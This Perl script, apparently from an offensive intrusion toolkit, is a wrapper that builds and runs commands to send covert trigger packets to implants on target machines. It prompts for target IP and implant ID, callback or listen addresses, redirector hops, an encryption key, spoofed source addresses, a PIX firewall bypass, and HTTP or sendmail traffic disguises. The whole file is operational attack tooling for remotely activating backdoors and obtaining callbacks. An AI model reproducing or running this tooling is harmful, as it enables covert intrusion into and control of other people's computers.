468 lines
14 KiB
Perl
468 lines
14 KiB
Perl
|
|
use strict;
|
|
|
|
use vars qw($VERSION);
|
|
|
|
$::VERSION = "PC Trigger Wrapper: Version 1.5.1";
|
|
print "$::VERSION\n\n";
|
|
|
|
use FindBin;
|
|
use lib "$FindBin::Bin";
|
|
use Getopt::Long;
|
|
use Cwd;
|
|
|
|
use lib "$FindBin::Bin\\..\\..\\..\\..\\LegacyWindowsExploits\\Resources\\Perl";
|
|
use ExploitUtils qw(
|
|
$EU_LOGFILE
|
|
$EU_VERBOSE
|
|
$EU_BATCHMODE
|
|
EU_LogInit
|
|
EU_Log
|
|
EU_ExitMessage
|
|
EU_GetChoice
|
|
EU_GetInput
|
|
EU_GetExistingDir
|
|
EU_GetIP
|
|
EU_GetLocalIP
|
|
EU_GetRootDir
|
|
EU_GetPort
|
|
EU_RunCommand
|
|
EU_GetAddr
|
|
);
|
|
|
|
|
|
use vars qw($REGPROBE $RIDEAREA $PAYLOAD $CIEXE $RPCTOUCH @DEPFILES);
|
|
|
|
|
|
my %opts = ();
|
|
GetOptions(\%opts, "v", "h", "q|?", "b", "e=s", "d=s", "t=s", "c=s") or &print_script_usage(0);
|
|
|
|
if (scalar(@ARGV) > 0 ) {
|
|
&EU_Log(1, "Extraneous arguments found on command line: @ARGV");
|
|
&EU_Log(1, "Arguments will be ingnored");
|
|
while(@ARGV) {shift;}
|
|
}
|
|
|
|
if (!defined($opts{"e"})) {
|
|
&EU_Log(1, "A -e option must be supplied.");
|
|
&print_usage(0);
|
|
}
|
|
|
|
$::SEND_PC_TRIGGER = "Resources\\PC\\Tools\\SendPCTrigger.exe";
|
|
$::SEND_DD_TRIGGER = "Resources\\PC\\Tools\\SendDDTrigger.exe";
|
|
|
|
@DEPFILES = ($::SEND_PC_TRIGGER, $::SEND_DD_TRIGGER);
|
|
|
|
my $work_dir = "E:\\";
|
|
my $root_dir = "$FindBin::Bin\\..\\..";
|
|
|
|
my $logfile_prefix = "pctrigger_";
|
|
my $logfile_suffix = "_script.log";
|
|
|
|
my $TargetIp = 0;
|
|
|
|
&print_usage(1) if (defined $opts{"h"});
|
|
&print_usage(0) if (defined $opts{"q"});
|
|
|
|
$ExploitUtils::EU_VERBOSE = 1 if (defined $opts{"v"});
|
|
$ExploitUtils::EU_BATCHMODE = 1 if (defined $opts{"b"});
|
|
|
|
$work_dir = $opts{"d"} if (defined $opts{"d"});
|
|
$root_dir = $opts{"c"} if (defined $opts{"c"});
|
|
$TargetIp = $opts{"t"} if (defined $opts{"t"});
|
|
|
|
if ($ENV{"OS"} ne "Windows_NT") {
|
|
&EU_ExitMessage(1,"This script requires Windows NT or Windows 2000");
|
|
}
|
|
|
|
$work_dir = &EU_GetExistingDir("Enter pathname for operation's working directory", $work_dir, 1);
|
|
$root_dir = &EU_GetRootDir($root_dir,@::DEPFILES);
|
|
|
|
&EU_LogInit($logfile_prefix, $logfile_suffix, $work_dir);
|
|
&EU_Log(0,"$::VERSION");
|
|
|
|
&EU_Log(0,"\nChanging to working directory: $work_dir");
|
|
chdir $work_dir || &EU_ExitMessage(1,"Unable to change to working directory: $work_dir");
|
|
|
|
my $cmd = &validate_parms($root_dir, $TargetIp);
|
|
|
|
my $cur_dir = cwd();
|
|
|
|
my $answer;
|
|
if(!$EU_BATCHMODE) {
|
|
$answer = &EU_GetInput("\nReady to send trigger ([y],n,quit)? ", "y");
|
|
&EU_ExitMessage(0,"User terminated script") if ($answer ne "y" and $answer ne "Y");
|
|
}
|
|
|
|
&EU_Log(1, "Running command: $cmd");
|
|
&EU_RunCommand($cmd);
|
|
|
|
chdir $cur_dir || &EU_ExitMessage(1,"Unable to switch back to initial directory: $cur_dir");
|
|
|
|
&EU_ExitMessage(0,"\nDone with $::0.");
|
|
|
|
|
|
sub print_usage() {
|
|
my ($verbose) = @_;
|
|
print "$::VERSION\n";
|
|
|
|
print qq~
|
|
Usage: $::0 [-v] [-h] [-?] [-b]
|
|
[-d <working directory>] [-e <exploits directory>]
|
|
[-t <target IP>]
|
|
|
|
~;
|
|
|
|
if ($verbose) {
|
|
print qq~
|
|
|
|
-v verbose mode. Default non-verbose mode.
|
|
|
|
-h Print this help information.
|
|
|
|
-? Print abbreviated help information.
|
|
|
|
-b Batch (non-interactive) mode. Default interactive mode.
|
|
|
|
-d <working directory> Working Directory
|
|
Top-level directory where operation\'s files will be
|
|
generated. Default E:\.
|
|
|
|
-e <exploits directory> Exploits Directory
|
|
Top-level directory containing exploit files.
|
|
Default one directory up from directory containing this script.
|
|
|
|
-t <target IP> Target IP address.
|
|
Default derived as last part of working directory name.
|
|
|
|
~;
|
|
}
|
|
|
|
&EU_ExitMessage(1,"End of help.");
|
|
}
|
|
|
|
sub validate_parms() {
|
|
my ($root_dir, $TargetIp) = @_;
|
|
my ($cmd, $args);
|
|
while (1) {
|
|
$cmd = "";
|
|
$args = "";
|
|
|
|
my $redirectFlag;
|
|
my $retcode = &EU_GetInput("\nWill this operation be REDIRECTED (y,[n])? ", "n");
|
|
if( ($retcode eq "y") or ($retcode eq "Y") ) { $redirectFlag = 1; }
|
|
else { $redirectFlag = 0; }
|
|
|
|
$TargetIp = &EU_GetIP("\nEnter the Target's IP address", $TargetIp);
|
|
my $finalDestIp = &EU_GetIP("\nEnter the final destination IP address", $TargetIp);
|
|
my $LocalIp = &EU_GetLocalIP("Enter the Local IP address", undef);
|
|
my $SourceIp = &EU_GetIP("\nEnter the Source IP address", $LocalIp);
|
|
$args = $args . " -sourceaddress $SourceIp";
|
|
|
|
my $TargetId;
|
|
while (!defined($TargetId)) {
|
|
my $id = &EU_GetInput("\nEnter the Target's PC ID: ", "");
|
|
if ($id =~ /^(0x){0,1}[0-9]+$/) {
|
|
$TargetId = $id;
|
|
} else {
|
|
&EU_Log(1, "\nThe given ID must be number\n");
|
|
}
|
|
}
|
|
$args = $args . " -id $TargetId";
|
|
|
|
my ($RedirectIp, $RedirectPort);
|
|
if ($redirectFlag == 1) {
|
|
$RedirectIp = &EU_GetIP("\nEnter the Redirection IP address", "127.0.0.1");
|
|
$RedirectPort = &EU_GetPort("\nEnter the Redirection port");
|
|
$args = $args . " -redirect $RedirectIp $RedirectPort";
|
|
}
|
|
|
|
my @triggerChoices = (
|
|
{name => "PeddleCheap ICMP"},
|
|
{name => "CordialFlimsy"});
|
|
my $pTriggerChoice = &EU_GetChoice("Pick the trigger type", 2, @triggerChoices);
|
|
if ($pTriggerChoice == undef) {
|
|
&EU_ExitMessage(1,"User terminated script\n");
|
|
}
|
|
|
|
my @protoChoices = (
|
|
{name => "icmp",
|
|
default0 => 8,
|
|
default1 => 0
|
|
},
|
|
{name => "tcp",
|
|
default0 => 0,
|
|
default1 => 80
|
|
},
|
|
{name => "udp",
|
|
default0 => 0,
|
|
default1 => 53
|
|
});
|
|
my @firewallChoices = (
|
|
{name => "NONE",
|
|
args => ""},
|
|
{name => "PIX",
|
|
args => " -firewall pix"}
|
|
);
|
|
|
|
my @formatChoices = (
|
|
{name => "NONE",
|
|
args => ""}
|
|
);
|
|
my $callback;
|
|
if ($$pTriggerChoice{name} eq "PeddleCheap ICMP") {
|
|
$callback = 1;
|
|
} else {
|
|
my @actionChoices = (
|
|
{name => "Callback"},
|
|
{name => "Listen"});
|
|
my $pActionChoice = &EU_GetChoice("Pick the trigger action", 1, @actionChoices);
|
|
if ($pActionChoice == undef) {
|
|
&EU_ExitMessage(1,"User terminated script\n");
|
|
}
|
|
|
|
if ($$pActionChoice{name} eq "Callback") {
|
|
$callback = 1;
|
|
} else {
|
|
$callback = 0;
|
|
}
|
|
}
|
|
|
|
my $actionIp;
|
|
my $actionSrcPort;
|
|
my $actionDstPort;
|
|
my $actionTime;
|
|
if ($callback) {
|
|
$actionIp = &EU_GetIP("\nEnter the CALLBACK IP address", $LocalIp);
|
|
$actionSrcPort = &EU_GetPort("\nEnter the callback source port", 0);
|
|
$actionDstPort = &EU_GetPort("\nEnter the callback destination port", 0);
|
|
$args = $args . " -callback $actionIp $actionDstPort $actionSrcPort";
|
|
} else {
|
|
$actionIp = &EU_GetIP("\nEnter the LISTEN bind address", "0.0.0.0");
|
|
$actionSrcPort = &EU_GetPort("\nEnter the LISTEN port", 1934);
|
|
$actionTime = &EU_GetPort("\nEnter the LISTEN time (in seconds)", 0);
|
|
$args = $args . " -listen $actionIp $actionSrcPort $actionTime";
|
|
}
|
|
|
|
my $pChoice;
|
|
my $pFirewallChoice;
|
|
my ($timestamp, $tcpConnect, $sendTo, $sendFrom, $tcpFlags);
|
|
my ($pFormatChoice, $webpage, $action, $domain, $userAgent);
|
|
if ($$pTriggerChoice{name} eq "PeddleCheap ICMP") {
|
|
$pChoice = $protoChoices[0];
|
|
$cmd = $::SEND_PC_TRIGGER;
|
|
|
|
} else {
|
|
$cmd = $::SEND_DD_TRIGGER;
|
|
$pChoice = &EU_GetChoice("Pick the trigger type", 2, @protoChoices);
|
|
if ($pChoice == undef) {
|
|
&EU_ExitMessage(1,"User terminated script\n");
|
|
}
|
|
$args = $args . " -protocol $$pChoice{name}";
|
|
|
|
# get keyfile for encryption
|
|
my $keyFile = "$root_dir\\Resources\\PC\\Keys\\Default\\private_key.bin";
|
|
$keyFile = &EU_GetInput("Enter the private key location [$keyFile]: ", $keyFile);
|
|
$args = $args . " -keyfile \"$keyFile\"";
|
|
|
|
# get timestamp
|
|
my $val;
|
|
if ($TargetId == 0) {
|
|
# timestamp must be given
|
|
$val = "y";
|
|
} else {
|
|
$val = &EU_GetInput("Timestamp the trigger packet ([y],n,quit)? ", "y");
|
|
}
|
|
if (($val eq "y") || ($val eq "Y")) {
|
|
while (1) {
|
|
my ($sec,$min,$hour,$mday,$mon,$year,$extra) = gmtime();
|
|
my $currentTime = sprintf("%02u/%02u/%04u %02u:%02u:%02u", $mon+1, $mday, $year+1900, $hour, $min, $sec);
|
|
$timestamp = &EU_GetInput("Enter timestamp [$currentTime]: ", "$currentTime");
|
|
if ($timestamp =~ /^[0-9]{1,2}\/[0-9]{1,2}\/[0-9]{4} [0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}$/) {
|
|
last;
|
|
} else {
|
|
&EU_Log(1, "Given timestamp is invalid ($timestamp)\n");
|
|
}
|
|
}
|
|
|
|
$args = $args . " -timestamp \"$timestamp\"";
|
|
}
|
|
|
|
# firewall bypass
|
|
$pFirewallChoice = &EU_GetChoice("Pick the firewall bypass type", 1, @firewallChoices);
|
|
if ($pFirewallChoice == undef) {
|
|
&EU_ExitMessage(1,"User terminated script\n");
|
|
}
|
|
$args = $args . $$pFirewallChoice{args};
|
|
|
|
# tcp connect
|
|
if ($$pChoice{name} eq "tcp") {
|
|
$val = &EU_GetInput("Perform a full TCP connection (y,[n])? ", "n");
|
|
push @formatChoices, { name => "Http", args => " -format Http"};
|
|
|
|
if (($val eq "y") || ($val eq "Y")) {
|
|
$tcpConnect = "YES";
|
|
$args = $args . " -tcpconnect";
|
|
push @formatChoices, { name => "SendMail", args => " -format sendmail"};
|
|
} else {
|
|
$tcpConnect = "NO";
|
|
|
|
# change tcp flags
|
|
while ($tcpFlags == undef) {
|
|
$val = &EU_GetInput("Enter comma seperated TCP flags [ack] : ", "ack");
|
|
if ($val =~ /^((syn|fin|rst|push|ack|urg),)*(syn|fin|rst|push|ack|urg){1}$/) {
|
|
$tcpFlags = $val;
|
|
$args = $args . " -tcpflags $tcpFlags";
|
|
last;
|
|
} else {
|
|
&EU_Log(1, "Invalid tcp flags (valid flags include: syn, fin, rst, push, ack, urg)");
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
$pFormatChoice = &EU_GetChoice("Pick the packet format", 1, @formatChoices);
|
|
if($pFormatChoice == undef) {
|
|
&EU_ExitMessage(1,"User terminated script\n");
|
|
}
|
|
$args = $args . $$pFormatChoice{args};
|
|
|
|
|
|
if(lc $$pFormatChoice{name} eq "http") {
|
|
$userAgent = "Mozilla 4.0 (compatible)";
|
|
$domain;
|
|
$webpage = "/";
|
|
|
|
my @actionChoices = (
|
|
{name => "Get Action",
|
|
args => " -action GET"},
|
|
{name => "Post Action",
|
|
args => " -action POST"}
|
|
);
|
|
|
|
$userAgent = &EU_GetInput("Enter the user-agent [$userAgent] : ", $userAgent);
|
|
while (!defined($domain)) {
|
|
my $td = &EU_GetInput("Enter the domain : ", "");
|
|
if(!($td eq "")) {
|
|
$domain = $td;
|
|
}
|
|
}
|
|
$webpage = &EU_GetInput("Enter the webpage [$webpage] : ", $webpage);
|
|
|
|
if($webpage =~ /^[^\/].*$/ && $domain =~ /^.*[^\/]$/) {
|
|
$webpage = "/$webpage";
|
|
}
|
|
|
|
my $pActionChoice = &EU_GetChoice("Pick the HTTP action", 1, @actionChoices);
|
|
if($pActionChoice == undef) {
|
|
&EU_ExitMessage(1, "User terminated script\n");
|
|
}
|
|
$args = $args . $$pActionChoice{args} . " -useragent \"$userAgent\" -domain \"$domain\" -webpage \"$webpage\"";
|
|
$action = $$pActionChoice{name};
|
|
}
|
|
|
|
# send-addresses
|
|
$val = &EU_GetInput("Provide send-to/send-from addresses (y,[n])? ", "n");
|
|
if (($val eq "y") || ($val eq "Y")) {
|
|
$sendTo = &EU_GetInput("Provide send-to address : ", "");
|
|
$sendFrom = &EU_GetInput("Provide send-from address : ", "");
|
|
$args = $args . " -send-addresses \"$sendTo\" \"$sendFrom\"";
|
|
}
|
|
}
|
|
|
|
if ($$pChoice{name} eq "icmp") {
|
|
$$pChoice{default0} = &EU_GetPort("\nEnter the ICMP type", $$pChoice{default0});
|
|
$$pChoice{default1} = &EU_GetPort("\nEnter the ICMP code", $$pChoice{default1});
|
|
|
|
if ($$pTriggerChoice{name} eq "PeddleCheap ICMP") {
|
|
$args = $args . " -target $TargetIp $finalDestIp -icmp-options $$pChoice{default0} $$pChoice{default1}";
|
|
} else {
|
|
$args = $args . " -target $TargetIp -icmp-options $$pChoice{default0} $$pChoice{default1} -destIp $finalDestIp";
|
|
}
|
|
|
|
} else {
|
|
$$pChoice{default0} = &EU_GetPort("\nEnter the source port", $$pChoice{default0});
|
|
$$pChoice{default1} = &EU_GetPort("\nEnter the destination port", $$pChoice{default1});
|
|
|
|
$args = $args . " -target $TargetIp $$pChoice{default1} $$pChoice{default0} -destIp $finalDestIp";
|
|
}
|
|
|
|
&EU_Log(1,"\nConfirm Network Parameters:\n");
|
|
&EU_Log(1,"Root Directory : $root_dir");
|
|
if( $redirectFlag ) {
|
|
&EU_Log(1,"Using Redirection : True");
|
|
&EU_Log(1,"Redirector IP : $RedirectIp");
|
|
&EU_Log(1,"Redirector Port : $RedirectPort");
|
|
} else {
|
|
&EU_Log(1,"Using Redirection : False");
|
|
}
|
|
|
|
&EU_Log(1,"Target IP : $TargetIp");
|
|
&EU_Log(1,"Protocol : $$pChoice{name}");
|
|
&EU_Log(1,"Source IP : $SourceIp");
|
|
if ($callback) {
|
|
&EU_Log(1,"Callback IP : $actionIp");
|
|
&EU_Log(1,"Callback Src Port : $actionSrcPort");
|
|
&EU_Log(1,"Callback Dst Port : $actionDstPort");
|
|
} else {
|
|
&EU_Log(1,"Listen bind IP : $actionIp");
|
|
&EU_Log(1,"Listen Port : $actionSrcPort");
|
|
&EU_Log(1,"Listen Time : $actionTime");
|
|
}
|
|
&EU_Log(1,"Type : $$pTriggerChoice{name} ($$pChoice{name})");
|
|
if ($$pChoice{name} eq "icmp") {
|
|
&EU_Log(1,"ICMP type : $$pChoice{default0}");
|
|
&EU_Log(1,"ICMP code : $$pChoice{default1}");
|
|
} else {
|
|
&EU_Log(1,"Target Src Port : $$pChoice{default0}");
|
|
&EU_Log(1,"Target Dst Port : $$pChoice{default1}");
|
|
}
|
|
&EU_Log(1,"Target ID : $TargetId");
|
|
if (defined($timestamp)) {
|
|
&EU_Log(1,"Timestamp : $timestamp");
|
|
}
|
|
if (defined($pFirewallChoice)) {
|
|
&EU_Log(1,"Firewall Bypass : $$pFirewallChoice{name}");
|
|
}
|
|
if (defined($tcpConnect)) {
|
|
&EU_Log(1,"Full TCP Connection : $tcpConnect");
|
|
}
|
|
if (defined($tcpFlags)) {
|
|
&EU_Log(1,"TCP flags : $tcpFlags");
|
|
}
|
|
if (defined($sendTo) && defined($sendFrom)) {
|
|
&EU_Log(1,"Send-To Address : $sendTo");
|
|
&EU_Log(1,"Send-From Address : $sendFrom");
|
|
}
|
|
if (defined($pFormatChoice)) {
|
|
&EU_Log(1,"Format : " . $$pFormatChoice{name});
|
|
}
|
|
if (defined($action) && defined($webpage) && defined($userAgent) && defined($domain)) {
|
|
&EU_Log(1,"Action : $action");
|
|
&EU_Log(1,"Domain : $domain");
|
|
&EU_Log(1,"Webpage : $webpage");
|
|
&EU_Log(1,"User-Agent : $userAgent");
|
|
}
|
|
|
|
my $okay = &EU_GetInput("\nContinue with the current values ([y],n,quit)? ","y");
|
|
&EU_Log(0, "\nContinue with the current values ([y],n,quit)? $okay");
|
|
|
|
if( ($okay eq "quit") or ($okay eq "QUIT") or ($okay eq "q") or ($okay eq "Q") ) {
|
|
&EU_ExitMessage(1,"User terminated script\n");
|
|
}
|
|
elsif( ($okay eq "n") or ($okay eq "N") ) {
|
|
&EU_Log(1, "Returning to top of script...\n");
|
|
next;
|
|
}
|
|
elsif( ($okay eq "y") or ($okay eq "Y") ) {
|
|
last;
|
|
}
|
|
}
|
|
|
|
return ("\"$root_dir\\$cmd\"" . $args);
|
|
}
|
|
|
|
__END__
|
|
|
|
|
|
|